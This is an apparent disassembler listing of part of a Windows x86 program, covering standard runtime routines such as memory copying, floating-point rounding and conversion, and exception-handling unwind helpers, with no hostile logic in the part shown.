		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2C0
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2FC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8D4, offset sub_421935
		mov	off_43C8D0, eax
		mov	off_43C8D8, offset sub_42199B
		mov	off_43C8DC, offset sub_4218DB
		mov	off_43C8E0, offset sub_421983
		mov	off_43C8E4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2D8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB354
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
